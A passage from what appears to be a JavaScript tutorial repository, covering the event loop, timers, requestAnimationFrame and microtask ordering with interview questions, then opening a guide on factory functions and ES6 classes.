clearInterval(intervalId); console.log('Done!'); } }, 1000); // Output every second: Count: 1, Count: 2, ... Count: 5, Done! ``` #### The setInterval Drift Problem `setInterval` doesn't account for callback execution time: ```javascript // Problem: If callback takes 300ms, and interval is 1000ms, // actual time between START of callbacks is 1000ms, // but time between END of one and START of next is only 700ms setInterval(() => { // This takes 300ms to execute heavyComputation(); }, 1000); ``` ``` Time: 0ms 1000ms 2000ms 3000ms │ │ │ │ setInterval│───────│────────│────────│ │ 300ms │ 300ms │ 300ms │ │callback│callback│callback│ │ │ │ │ The 1000ms is between STARTS, not between END and START ``` #### Solution: Nested setTimeout For more precise timing, use nested `setTimeout`: ```javascript // Nested setTimeout guarantees delay BETWEEN executions function preciseInterval(callback, delay) { function tick() { callback(); setTimeout(tick, delay); // Schedule next AFTER current completes } setTimeout(tick, delay); } // Now there's exactly `delay` ms between the END of one // callback and the START of the next ``` ``` Time: 0ms 1300ms 2600ms 3900ms │ │ │ │ Nested │───────│────────│────────│ setTimeout│ 300ms│ 300ms │ 300ms │ │ + │ + │ + │ │ 1000ms│ 1000ms │ 1000ms │ │ delay │ delay │ delay │ ``` <Tip> **When to use which:** - **setInterval**: For simple UI updates that don't depend on previous execution - **Nested setTimeout**: For sequential operations, API polling, or when timing precision matters </Tip> ### requestAnimationFrame: Smooth Animations `requestAnimationFrame` (rAF) is designed specifically for animations. It syncs with the browser's refresh rate (usually 60fps = ~16.67ms per frame). ```javascript // Syntax const rafId = requestAnimationFrame(callback); // Cancel cancelAnimationFrame(rafId); ``` **Basic animation loop:** ```javascript function animate(timestamp) { // timestamp = time since page load in ms // Update animation state element.style.left = (timestamp / 10) + 'px'; // Request next frame requestAnimationFrame(animate); } // Start the animation requestAnimationFrame(animate); ``` #### Why requestAnimationFrame is Better for Animations | Feature | setTimeout/setInterval | requestAnimationFrame | |---------|----------------------|----------------------| | **Sync with display** | No | Yes (matches refresh rate) | | **Battery efficient** | No | Yes (pauses in background tabs) | | **Smooth animations** | Can be janky | Optimized by browser | | **Timing accuracy** | Can drift | Consistent frame timing | | **CPU usage** | Runs even if tab hidden | Pauses when tab hidden | **Example: Animating with rAF** ```javascript const box = document.getElementById('box'); let position = 0; let lastTime = null; function animate(currentTime) { // Handle first frame (no previous time yet) if (lastTime === null) { lastTime = currentTime; requestAnimationFrame(animate); return; } // Calculate time since last frame const deltaTime = currentTime - lastTime; lastTime = currentTime; // Move 100 pixels per second, regardless of frame rate const speed = 100; // pixels per second position += speed * (deltaTime / 1000); box.style.transform = `translateX(${position}px)`; // Stop at 500px if (position < 500) { requestAnimationFrame(animate); } } requestAnimationFrame(animate); ``` #### When requestAnimationFrame Runs ``` One Event Loop Iteration: ┌─────────────────────────────────────────────────────────────────┐ │ 1. Run task from Task Queue │ ├─────────────────────────────────────────────────────────────────┤ │ 2. Run ALL microtasks │ ├─────────────────────────────────────────────────────────────────┤ │ 3. If time to render: │ │ a. Run requestAnimationFrame callbacks ← HERE! │ │ b. Render/paint the screen │ ├─────────────────────────────────────────────────────────────────┤ │ 4. If idle time remains before next frame: │ │ Run requestIdleCallback callbacks (non-essential work) │ └─────────────────────────────────────────────────────────────────┘ ``` ### Timer Comparison Summary <Tabs> <Tab title="setTimeout"> **Use for:** One-time delayed execution ```javascript // Delay a function call setTimeout(() => { showNotification('Saved!'); }, 2000); // Debouncing let timeoutId; input.addEventListener('input', () => { clearTimeout(timeoutId); timeoutId = setTimeout(search, 300); }); ``` **Gotchas:** - Delay is minimum, not guaranteed - 4ms minimum after 5 nested calls - Blocked by long-running synchronous code </Tab> <Tab title="setInterval"> **Use for:** Repeated execution at fixed intervals ```javascript // Update clock every second setInterval(() => { clock.textContent = new Date().toLocaleTimeString(); }, 1000); // Poll server for updates const pollId = setInterval(async () => { const data = await fetchUpdates(); updateUI(data); }, 5000); ``` **Gotchas:** - Can drift if callbacks take long - Multiple calls can queue up - ALWAYS store the ID and call `clearInterval` - Consider nested setTimeout for precision </Tab> <Tab title="requestAnimationFrame"> **Use for:** Animations and visual updates ```javascript // Smooth animation function animate() { updatePosition(); draw(); requestAnimationFrame(animate); } requestAnimationFrame(animate); // Smooth scroll function smoothScroll(target) { const current = window.scrollY; const distance = target - current; if (Math.abs(distance) > 1) { window.scrollTo(0, current + distance * 0.1); requestAnimationFrame(() => smoothScroll(target)); } } ``` **Benefits:** - Synced with display refresh (60fps) - Pauses in background tabs (saves battery) - Browser-optimized </Tab> </Tabs> --- ## Classic Interview Questions ### Question 1: Basic Output Order ```javascript console.log('1'); setTimeout(() => console.log('2'), 0); Promise.resolve().then(() => console.log('3')); console.log('4'); ``` <Accordion title="Answer"> **Output:** `1`, `4`, `3`, `2` **Explanation:** 1. `console.log('1')` — synchronous, runs immediately → "1" 2. `setTimeout` — callback goes to **Task Queue** 3. `Promise.then` — callback goes to **Microtask Queue** 4. `console.log('4')` — synchronous, runs immediately → "4" 5. Call stack empty → drain Microtask Queue → "3" 6. Microtask queue empty → process Task Queue → "2" </Accordion> ### Question 2: Nested Promises and Timeouts ```javascript setTimeout(() => console.log('timeout 1'), 0); Promise.resolve().then(() => { console.log('promise 1'); Promise.resolve().then(() => console.log('promise 2')); }); setTimeout(() => console.log('timeout 2'), 0); console.log('sync'); ``` <Accordion title="Answer"> **Output:** `sync`, `promise 1`, `promise 2`, `timeout 1`, `timeout 2` **Explanation:** 1. First `setTimeout` → callback to Task Queue 2. `Promise.then` → callback to Microtask Queue 3. Second `setTimeout` → callback to Task Queue 4. `console.log('sync')` → runs immediately → "sync" 5. Drain Microtask Queue: - Run first promise callback → "promise 1" - This adds another promise to Microtask Queue - Continue draining → "promise 2" 6. Microtask Queue empty, process Task Queue: - First timeout → "timeout 1" - Second timeout → "timeout 2" </Accordion> ### Question 3: async/await Ordering ```javascript async function foo() { console.log('foo start'); await Promise.resolve(); console.log('foo end'); } console.log('script start'); foo(); console.log('script end'); ``` <Accordion title="Answer"> **Output:** `script start`, `foo start`, `script end`, `foo end` **Explanation:** 1. `console.log('script start')` → "script start" 2. Call `foo()`: - `console.log('foo start')` → "foo start" - `await Promise.resolve()` — pauses foo, schedules continuation as microtask 3. `foo()` returns (suspended at await) 4. `console.log('script end')` → "script end" 5. Call stack empty → drain Microtask Queue → resume foo 6. `console.log('foo end')` → "foo end" **Key insight:** `await` splits the function. Code before `await` runs synchronously. Code after `await` runs as a microtask. </Accordion> ### Question 4: setTimeout in a Loop ```javascript for (var i = 0; i < 3; i++) { setTimeout(() => console.log(i), 0); } ``` <Accordion title="Answer"> **Output:** `3`, `3`, `3` **Explanation:** - `var` is function-scoped, so there's only ONE `i` variable - The loop runs synchronously: i=0, i=1, i=2, i=3 (loop ends) - THEN the callbacks run, and they all see `i = 3` **Fix with let:** ```javascript for (let i = 0; i < 3; i++) { setTimeout(() => console.log(i), 0); } // Output: 0, 1, 2 ``` **Fix with closure (IIFE):** ```javascript for (var i = 0; i < 3; i++) { ((j) => { setTimeout(() => console.log(j), 0); })(i); } // Output: 0, 1, 2 ``` **Fix with setTimeout's third parameter:** ```javascript for (var i = 0; i < 3; i++) { setTimeout((j) => console.log(j), 0, i); } // Output: 0, 1, 2 ``` </Accordion> ### Question 5: What's Wrong Here? ```javascript const start = Date.now(); setTimeout(() => { console.log(`Elapsed: ${Date.now() - start}ms`); }, 1000); // Simulate heavy computation let sum = 0; for (let i = 0; i < 1000000000; i++) { sum += i; } console.log('Heavy work done'); ``` <Accordion title="Answer"> **Problem:** The timeout will NOT fire after 1000ms! The heavy `for` loop blocks the call stack. Even though the timer finishes after 1000ms, the callback cannot run until the call stack is empty. **Typical output:** ``` Heavy work done Elapsed: 3245ms // Much longer than 1000ms! ``` **Lesson:** Never do heavy synchronous work on the main thread. Use: - Web Workers for CPU-intensive tasks - Break work into chunks with setTimeout - Use `requestIdleCallback` for non-critical work </Accordion> ### Question 6: Microtask Starvation ```javascript function scheduleMicrotask() { Promise.resolve().then(() => { console.log('microtask'); scheduleMicrotask(); }); } setTimeout(() => console.log('timeout'), 0); scheduleMicrotask(); ``` <Accordion title="Answer"> **Output:** `microtask`, `microtask`, `microtask`, ... (forever!) The timeout callback NEVER runs! **Explanation:** - Each microtask schedules another microtask - The Event Loop drains the entire microtask queue before moving to tasks - The microtask queue is never empty - The timeout callback starves **This is a browser freeze!** The page becomes unresponsive because rendering also waits for the microtask queue to drain. </Accordion> --- ## Common Misconceptions <AccordionGroup> <Accordion title="Misconception 1: 'setTimeout(fn, 0) runs immediately'"> **Wrong!** Even with 0ms delay, the callback goes to the Task Queue and must wait for: 1. Current script to complete 2. All microtasks to drain 3. Its turn in the queue ```javascript setTimeout(() => console.log('timeout'), 0); Promise.resolve().then(() => console.log('promise')); console.log('sync'); // Output: sync, promise, timeout (NOT sync, timeout, promise) ``` </Accordion> <Accordion title="Misconception 2: 'setTimeout delay is guaranteed'"> **Wrong!** The delay is a MINIMUM wait time, not a guarantee. If the call stack is busy or the Task Queue has items ahead, the actual delay will be longer. ```javascript setTimeout(() => console.log('A'), 100); setTimeout(() => console.log('B'), 100); // Heavy work takes 500ms for (let i = 0; i < 1e9; i++) {} // Both A and B fire at ~500ms, not 100ms ``` </Accordion> <Accordion title="Misconception 3: 'JavaScript is asynchronous'"> **Partially wrong!** JavaScript itself is single-threaded and synchronous. The asynchronous behavior comes from: - The **runtime environment** (browser/Node.js) - **Web APIs** that run in separate threads - The **Event Loop** that coordinates callbacks JavaScript code runs synchronously, one line at a time. The magic is that it can delegate work to the environment. </Accordion> <Accordion title="Misconception 4: 'The Event Loop is part of JavaScript'"> **Wrong!** The Event Loop is NOT defined in the ECMAScript specification. It's defined in the HTML specification (for browsers) and implemented by the runtime environment. Different environments (browsers, Node.js, Deno) have different implementations. </Accordion> <Accordion title="Misconception 5: 'setInterval is accurate'"> **Wrong!** setInterval can drift, skip callbacks, or have inconsistent timing. - If a callback takes longer than the interval, callbacks queue up - Browsers may throttle timers in background tabs - Timer precision is limited (especially on mobile) For precise timing, use nested setTimeout or requestAnimationFrame. </Accordion> </AccordionGroup> --- ## Blocking the Event Loop ### What Happens When You Block? When synchronous code runs for a long time, EVERYTHING stops: ```javascript // This freezes the entire page! button.addEventListener('click', () => { // Heavy synchronous work for (let i = 0; i < 10000000000; i++) { // ... computation } }); ``` **Consequences:** - UI freezes (can't click, scroll, or type) - Animations stop - setTimeout/setInterval callbacks delayed - Promises can't resolve - Page becomes unresponsive ### Solutions <Tabs> <Tab title="Web Workers"> Move heavy computation to a separate thread using [Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API): ```javascript // main.js const worker = new Worker('worker.js'); worker.postMessage({ data: largeArray }); worker.onmessage = (event) => { console.log('Result:', event.data); }; // worker.js self.onmessage = (event) => { const result = heavyComputation(event.data); self.postMessage(result); }; ``` </Tab> <Tab title="Chunking with setTimeout"> Break work into smaller chunks: ```javascript function processInChunks(items, process, chunkSize = 100) { let index = 0; function doChunk() { const end = Math.min(index + chunkSize, items.length); for (; index < end; index++) { process(items[index]); } if (index < items.length) { setTimeout(doChunk, 0); // Yield to event loop } } doChunk(); } // Now UI stays responsive between chunks processInChunks(hugeArray, item => compute(item)); ``` </Tab> <Tab title="requestIdleCallback"> Run code during browser idle time with [`requestIdleCallback`](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestIdleCallback): ```javascript function doNonCriticalWork(deadline) { while (deadline.timeRemaining() > 0 && tasks.length > 0) { const task = tasks.shift(); task(); } if (tasks.length > 0) { requestIdleCallback(doNonCriticalWork); } } requestIdleCallback(doNonCriticalWork); ``` </Tab> </Tabs> --- ## Rendering and the Event Loop ### Where Does Rendering Fit? The browser tries to render at 60fps (every ~16.67ms). Rendering happens **between tasks**, after microtasks: ``` ┌─────────────────────────────────────────────────────┐ │ One Frame (~16.67ms) │ ├─────────────────────────────────────────────────────┤ │ 1. Task (from Task Queue) │ │ 2. All Microtasks │ │ 3. requestAnimationFrame callbacks │ │ 4. Style calculation │ │ 5. Layout │ │ 6. Paint │ │ 7. Composite │ └─────────────────────────────────────────────────────┘ ``` ### Why 60fps Matters | FPS | Frame Time | User Experience | |-----|------------|-----------------| | 60 | 16.67ms | Smooth, responsive | | 30 | 33.33ms | Noticeable lag | | 15 | 66.67ms | Very choppy | | < 10 | > 100ms | Unusable | If your JavaScript takes longer than ~16ms, you'll miss frames and the UI will feel janky. ### Using requestAnimationFrame for Visual Updates Use rAF to avoid layout thrashing (reading and writing DOM in a way that forces multiple reflows): ```javascript // Bad: Read-write-read pattern forces multiple layouts console.log(element.offsetWidth); // Read (forces layout) element.style.width = '100px'; // Write console.log(element.offsetHeight); // Read (forces layout AGAIN!) element.style.height = '200px'; // Write // Good: Batch reads together, then defer writes to rAF const width = element.offsetWidth; // Read const height = element.offsetHeight; // Read (same layout calculation) requestAnimationFrame(() => { // Writes happen right before next paint element.style.width = width + 100 + 'px'; element.style.height = height + 100 + 'px'; }); ``` --- ## Common Bugs and Pitfalls <AccordionGroup> <Accordion title="1. Forgetting to clearInterval"> ```javascript // BUG: Memory leak! function startPolling() { setInterval(() => { fetchData(); }, 5000); } // If called multiple times, intervals stack up! startPolling(); startPolling(); // Now 2 intervals running! // FIX: Store and clear let pollInterval; function startPolling() { stopPolling(); // Clear any existing interval pollInterval = setInterval(fetchData, 5000); } function stopPolling() { if (pollInterval) { clearInterval(pollInterval); pollInterval = null; } } ``` </Accordion> <Accordion title="2. Race Conditions with setTimeout"> ```javascript // BUG: Responses may arrive out of order let searchInput = document.getElementById('search'); searchInput.addEventListener('input', () => { setTimeout(() => { fetch(`/search?q=${searchInput.value}`) .then(res => displayResults(res)); }, 300); }); // FIX: Cancel previous timeout (debounce) let timeoutId; searchInput.addEventListener('input', () => { clearTimeout(timeoutId); timeoutId = setTimeout(() => { fetch(`/search?q=${searchInput.value}`) .then(res => displayResults(res)); }, 300); }); ``` </Accordion> <Accordion title="3. this Binding in Timer Callbacks"> ```javascript // BUG: 'this' is wrong const obj = { name: 'Alice', greet() { setTimeout(function() { console.log(`Hello, ${this.name}`); // undefined! }, 100); } }; // FIX 1: Arrow function const obj1 = { name: 'Alice', greet() { setTimeout(() => { console.log(`Hello, ${this.name}`); // "Alice" }, 100); } }; // FIX 2: bind const obj2 = { name: 'Alice', greet() { setTimeout(function() { console.log(`Hello, ${this.name}`); }.bind(this), 100); } }; ``` </Accordion> <Accordion title="4. Closure Issues in Loops"> ```javascript // BUG: All callbacks see final value for (var i = 0; i < 3; i++) { setTimeout(() => console.log(i), 100); } // Output: 3, 3, 3 // FIX 1: Use let for (let i = 0; i < 3; i++) { setTimeout(() => console.log(i), 100); } // Output: 0, 1, 2 // FIX 2: Pass as argument for (var i = 0; i < 3; i++) { setTimeout((j) => console.log(j), 100, i); } // Output: 0, 1, 2 ``` </Accordion> <Accordion title="5. Assuming Timer Precision"> ```javascript // BUG: Assuming exact timing function measureTime() { const start = Date.now(); setTimeout(() => { const elapsed = Date.now() - start; console.log(`Exactly 1000ms? ${elapsed === 1000}`); // Almost always false! }, 1000); } // REALITY: Always allow for variance function measureTime() { const start = Date.now(); const expected = 1000; const tolerance = 50; // Allow 50ms variance setTimeout(() => { const elapsed = Date.now() - start; const withinTolerance = Math.abs(elapsed - expected) <= tolerance; console.log(`Within tolerance? ${withinTolerance}`); }, expected); } ``` </Accordion> </AccordionGroup> --- ## Interactive Visualization Tool The best way to truly understand the Event Loop is to **see it in action**. <Card title="Loupe - Event Loop Visualizer" icon="play" href="https://latentflip.com/loupe/"> Created by Philip Roberts (author of the famous "What the heck is the event loop anyway?" talk). This tool lets you write JavaScript code and watch how it moves through the call stack, Web APIs, and callback queue in real-time. </Card> **Try this code in Loupe:** ```javascript console.log('Start'); setTimeout(function timeout() { console.log('Timeout'); }, 2000); Promise.resolve().then(function promise() { console.log('Promise'); }); console.log('End'); ``` Watch how: 1. Synchronous code runs first 2. setTimeout goes to Web APIs 3. Promise callback goes to microtask queue 4. Microtasks run before the timeout callback --- ## Key Takeaways <Info> **The key things to remember:** 1. **JavaScript is single-threaded** — only one thing runs at a time on the call stack 2. **The Event Loop enables async** — it coordinates between the call stack and callback queues 3. **Web APIs run in separate threads** — timers, network requests, and events are handled by the browser 4. **Microtasks > Tasks** — Promise callbacks ALWAYS run before setTimeout callbacks 5. **setTimeout delay is a minimum** — actual timing depends on call stack and queue state 6. **setInterval can drift** — use nested setTimeout for precise timing 7. **requestAnimationFrame for animations** — syncs with browser refresh rate, pauses in background 8. **Never block the main thread** — long sync operations freeze the entire UI 9. **Microtasks can starve tasks** — infinite microtask loops prevent rendering 10. **The Event Loop isn't JavaScript** — it's part of the runtime environment (browser/Node.js) </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What is the Event Loop's main job?"> **Answer:** The Event Loop's job is to monitor the call stack and the callback queues. When the call stack is empty, it takes the first callback from the microtask queue (if any), or the task queue, and pushes it onto the call stack for execution. It enables JavaScript to be non-blocking despite being single-threaded. </Accordion> <Accordion title="Question 2: Why do Promises run before setTimeout?"> **Answer:** Promise callbacks go to the **Microtask Queue**, while setTimeout callbacks go to the **Task Queue** (macrotask queue). The Event Loop always drains the entire microtask queue before taking the next task from the task queue. So Promise callbacks always have priority. </Accordion> <Accordion title="Question 3: What's the output of this code?"> ```javascript setTimeout(() => console.log('A'), 0); Promise.resolve().then(() => console.log('B')); Promise.resolve().then(() => { console.log('C'); setTimeout(() => console.log('D'), 0); }); console.log('E'); ``` **Answer:** `E`, `B`, `C`, `A`, `D` 1. `E` — synchronous 2. `B` — first microtask 3. `C` — second microtask (also schedules timeout D) 4. `A` — first timeout 5. `D` — second timeout (scheduled during microtask C) </Accordion> <Accordion title="Question 4: When should you use requestAnimationFrame?"> **Answer:** Use `requestAnimationFrame` for: - Visual animations - DOM updates that need to be smooth - Anything that should sync with the browser's refresh rate **Don't use** it for: - Non-visual delayed execution (use setTimeout) - Repeated non-visual tasks (use setInterval or setTimeout) - Heavy computation (use Web Workers) </Accordion> <Accordion title="Question 5: What's wrong with this code?"> ```javascript setInterval(async () => { const response = await fetch('/api/data'); const data = await response.json(); updateUI(data); }, 1000); ``` **Answer:** If the fetch takes longer than 1 second, multiple requests will be in flight simultaneously, potentially causing race conditions and overwhelming the server. **Better approach:** ```javascript async function poll() { const response = await fetch('/api/data'); const data = await response.json(); updateUI(data); setTimeout(poll, 1000); // Schedule next AFTER completion } poll(); ``` </Accordion> <Accordion title="Question 6: How can you yield to the Event Loop in a long-running task?"> **Answer:** Several approaches: ```javascript // 1. setTimeout (schedules a task) await new Promise(resolve => setTimeout(resolve, 0)); // 2. queueMicrotask (schedules a microtask) await new Promise(resolve => queueMicrotask(resolve)); // 3. requestAnimationFrame (syncs with rendering) await new Promise(resolve => requestAnimationFrame(resolve)); // 4. requestIdleCallback (runs during idle time) await new Promise(resolve => requestIdleCallback(resolve)); ``` Each has different timing and use cases. setTimeout is most common for yielding. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the event loop in JavaScript?"> The event loop is JavaScript's mechanism for handling asynchronous operations while remaining single-threaded. As defined in the WHATWG HTML Living Standard, it continuously checks whether the call stack is empty and then dequeues tasks from the task queue or microtask queue for execution. This is what allows non-blocking I/O in both browsers and Node.js. </Accordion> <Accordion title="What is the difference between microtasks and macrotasks?"> Microtasks (Promise callbacks, queueMicrotask, MutationObserver) run after the current task completes but before the next macrotask. Macrotasks (setTimeout, setInterval, I/O) are queued in the task queue and processed one per event loop iteration. The key rule: the entire microtask queue is drained before the next macrotask runs. </Accordion> <Accordion title="Why does Promise.then() run before setTimeout(0)?"> Promise callbacks are scheduled as microtasks, while setTimeout callbacks are scheduled as macrotasks. According to the HTML specification's event loop processing model, all microtasks are processed before the event loop picks up the next macrotask. This is why `Promise.then()` always executes before `setTimeout(..., 0)` even though both are asynchronous. </Accordion> <Accordion title="How does JavaScript handle async operations if it is single-threaded?"> JavaScript delegates long-running operations (network requests, timers, file I/O) to the browser's Web APIs or Node.js's libuv thread pool, which run on separate threads. When those operations complete, their callbacks are placed into the appropriate queue. The event loop then picks them up when the call stack is empty. This gives the illusion of parallelism while keeping JavaScript execution single-threaded. </Accordion> <Accordion title="What is the difference between concurrency and parallelism in JavaScript?"> Concurrency means managing multiple tasks by interleaving them on a single thread, which is what the event loop provides. Parallelism means executing multiple tasks simultaneously on different threads, which requires Web Workers. According to MDN, async/await and Promises give you concurrency, while Web Workers give you true parallelism. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Call Stack" icon="layer-group" href="/concepts/call-stack"> Deep dive into how JavaScript tracks function execution </Card> <Card title="Promises" icon="handshake" href="/concepts/promises"> Understanding Promise-based asynchronous patterns </Card> <Card title="async/await" icon="clock" href="/concepts/async-await"> Modern syntax for working with Promises </Card> <Card title="JavaScript Engines" icon="gear" href="/concepts/javascript-engines"> How V8 and other engines execute your code </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="JavaScript Execution Model — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Execution_model"> Official MDN documentation on the JavaScript runtime, event loop, and execution contexts. </Card> <Card title="setTimeout — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/setTimeout"> Complete reference for setTimeout including syntax, parameters, and the minimum delay behavior. </Card> <Card title="setInterval — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/setInterval"> Documentation for repeated timed callbacks with usage patterns and gotchas. </Card> <Card title="requestAnimationFrame — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame"> Browser-optimized animation timing API that syncs with display refresh rate. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="JavaScript Visualized: Event Loop" icon="newspaper" href="https://dev.to/lydiahallie/javascript-visualized-event-loop-3dif"> Lydia Hallie's famous visual explanation with animated GIFs showing exactly how the event loop works. </Card> <Card title="Tasks, microtasks, queues and schedules" icon="newspaper" href="https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/"> Jake Archibald's definitive deep-dive with interactive examples. The go-to resource for understanding tasks vs microtasks. </Card> <Card title="The JavaScript Event Loop" icon="newspaper" href="https://flaviocopes.com/javascript-event-loop/"> Flavio Copes' clear explanation with excellent code examples showing Promise vs setTimeout behavior. </Card> <Card title="setTimeout and setInterval" icon="newspaper" href="https://javascript.info/settimeout-setinterval"> Comprehensive JavaScript.info guide covering timers, cancellation, nested setTimeout, and the 4ms minimum delay. </Card> <Card title="Using requestAnimationFrame" icon="newspaper" href="https://css-tricks.com/using-requestanimationframe/"> Chris Coyier's practical guide to smooth animations with requestAnimationFrame, including polyfills and examples. </Card> <Card title="Why not to use setInterval" icon="newspaper" href="https://dev.to/akanksha_9560/why-not-to-use-setinterval--2na9"> Deep dive into setInterval's problems with drift, async operations, and why nested setTimeout is often better. </Card> </CardGroup> ## Tools <Card title="Loupe - Event Loop Visualizer" icon="play" href="https://latentflip.com/loupe/"> Interactive tool by Philip Roberts to visualize how the call stack, Web APIs, and callback queue work together. Write code and watch it execute step by step. </Card> ## Videos <CardGroup cols={2}> <Card title="What the heck is the event loop anyway?" icon="video" href="https://www.youtube.com/watch?v=8aGhZQkoFbQ"> Philip Roberts' legendary JSConf EU talk that made the event loop accessible to everyone. A must-watch for JavaScript developers. </Card> <Card title="In The Loop" icon="video" href="https://www.youtube.com/watch?v=cCOL7MC4Pl0"> Jake Archibald's JSConf.Asia talk diving deeper into tasks, microtasks, and rendering. The perfect follow-up to Philip Roberts' talk. </Card> <Card title="TRUST ISSUES with setTimeout()" icon="video" href="https://youtu.be/nqsPmuicJJc"> Akshay Saini explains why you can't trust setTimeout's timing and how the event loop actually handles timers. </Card> </CardGroup> ================================================ FILE: docs/concepts/factories-classes.mdx ================================================ --- title: "Factories & Classes" sidebarTitle: "Factories and Classes: Creating Objects Efficiently" description: "Learn JavaScript factory functions and ES6 classes. Understand constructors, prototypes, private fields, inheritance, and when to use each pattern." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Object-Oriented JavaScript" "article:tag": "factory functions, ES6 classes, constructors, private fields, object creation patterns" --- How do you create hundreds of similar objects without copy-pasting? How do game developers spawn thousands of enemies? How does JavaScript let you build blueprints for objects? ```javascript // Factory function — returns a new object each time function createPlayer(name) { return { name, health: 100, attack() { return `${this.name} attacks!` } } } // Class — a blueprint for creating objects class Enemy { constructor(name) { this.name = name this.health = 100 } attack() { return `${this.name} attacks!` } } // Both create objects the same way const player = createPlayer("Alice") // Factory const enemy = new Enemy("Goblin") // Class console.log(player.attack()) // "Alice attacks!" console.log(enemy.attack()) // "Goblin attacks!" ``` **Factories** and **[Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)** are two patterns for creating objects efficiently. A factory function is a regular function that returns a new object. A class is a blueprint that uses the [`class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class) keyword and the [`new`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new) operator. Both achieve the same goal, but they work differently and have different strengths. According to the 2023 State of JS survey, class syntax is now widely adopted, with the majority of JavaScript developers using classes regularly in their projects. <Info> **What you'll learn in this guide:** - How to create objects using factory functions - How constructor functions and the `new` keyword work - ES6 class syntax and what "syntactic sugar" means - Private fields (#) and how they differ from closures - Static methods, getters, and setters - Inheritance with `extends` and `super` - Factory composition vs class inheritance - When to use factories vs classes </Info> <Warning> **Prerequisites:** This guide assumes you understand [Object Creation & Prototypes](/concepts/object-creation-prototypes) and [this, call, apply, bind](/concepts/this-call-apply-bind). If those concepts are new to you, read those guides first! </Warning> --- ## Why Do We Need Object Blueprints? ### The Manual Approach (Don't Do This) Let's say you're building an RPG game. You need player characters: ```javascript // Creating players manually — tedious and error-prone const player1 = { name: "Alice", health: 100, level: 1, attack() { return `${this.name} attacks for ${10 + this.level * 2} damage!`; }, takeDamage(amount) { this.health -= amount; if (this.health <= 0) { return `${this.name} has been defeated!`; } return `${this.name} has ${this.health} health remaining.`; } }; const player2 = { name: "Bob", health: 100, level: 1, attack() { return `${this.name} attacks for ${10 + this.level * 2} damage!`; }, takeDamage(amount) { this.health -= amount; if (this.health <= 0) { return `${this.name} has been defeated!`; } return `${this.name} has ${this.health} health remaining.`; } }; // ... 50 more players with the same code copied ... ``` ### What's Wrong With This? | Problem | Why It's Bad | |---------|--------------| | **Repetition** | Same code copied over and over | | **Error-prone** | Easy to make typos or forget properties | | **Hard to maintain** | Change one thing? Change it everywhere | | **No consistency** | Nothing enforces that all players have the same structure | | **Memory waste** | Each object has its own copy of the methods | ### What We Need We need a way to: - Define the structure **once** - Create as many objects as we need - Ensure all objects have the same properties and methods - Make changes in **one place** that affect all objects ### The Assembly Line Analogy Think about how real-world manufacturing works: - **Hand-crafting** each item individually is slow, inconsistent, and doesn't scale - **Assembly lines** (factories) take specifications and produce products efficiently - **Blueprints/molds** define the template once, then stamp out identical copies JavaScript gives us the same options: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THREE WAYS TO CREATE OBJECTS │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ MANUAL CREATION Like hand-carving each chess piece │ │ ─────────────── Tedious, error-prone, inconsistent │ │ const obj = { ... } │ │ │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ FACTORY FUNCTION Like an assembly line │ │ ──────────────── Put in specs → Get product │ │ Flexible, no special keywords │ │ createPlayer("Alice") │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ Player │ ← New object returned │ │ │ {name...} │ │ │ └─────────────┘ │ │ │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ CLASS / CONSTRUCTOR Like a blueprint or mold │ │ ─────────────────── Define template → Stamp out copies │ │ Uses `new`, supports `instanceof` │ │ new Player("Alice") │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ Player │ ← Instance created from blueprint │ │ │ {name...} │ │ │ └─────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Both factories and classes solve the same problem. They just do it differently. Let's explore each approach. --- ## What is a Factory Function in JavaScript? A **factory function** is a regular JavaScript function that creates and returns a new object each time it's called. Unlike constructors or classes, factory functions don't require the `new` keyword. They can use `this` in returned methods (like simple objects do), or use [closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures) to avoid `this` entirely, giving you flexibility that classes don't offer. As Douglas Crockford documented in *JavaScript: The Good Parts*, factory functions leverage JavaScript's prototypal nature more directly than class-based patterns. ### Basic Factory Function Think of it like an assembly line. You put in the specifications, and it produces the product: ```javascript // A simple factory function function createPlayer(name) { return { name: name, health: 100, level: 1, attack() { return `${this.name} attacks for ${10 + this.level * 2} damage!`; }, takeDamage(amount) { this.health -= amount; if (this.health <= 0) { return `${this.name} has been defeated!`; } return `${this.name} has ${this.health} health remaining.`; } }; } // Creating players is now easy! const alice = createPlayer("Alice"); const bob = createPlayer("Bob"); const charlie = createPlayer("Charlie"); console.log(alice.attack()); // "Alice attacks for 12 damage!" console.log(bob.takeDamage(30)); // "Bob has 70 health remaining." ``` ### Factory with Multiple Parameters ```javascript function createEnemy(name, health, attackPower) { return { name, // Shorthand: same as name: name health, attackPower, isAlive: true, attack(target) { return `${this.name} attacks ${target.name} for ${this.attackPower} damage!`; }, takeDamage(amount) { this.health -= amount; if (this.health <= 0) { this.health = 0; this.isAlive = false; return `${this.name} has been defeated!`; } return `${this.name} has ${this.health} health remaining.`; } }; } // Create different types of enemies const goblin = createEnemy("Goblin", 50, 10); const dragon = createEnemy("Dragon", 500, 50); const boss = createEnemy("Dark Lord", 1000, 100); console.log(goblin.attack(dragon)); // "Goblin attacks Dragon for 10 damage!" 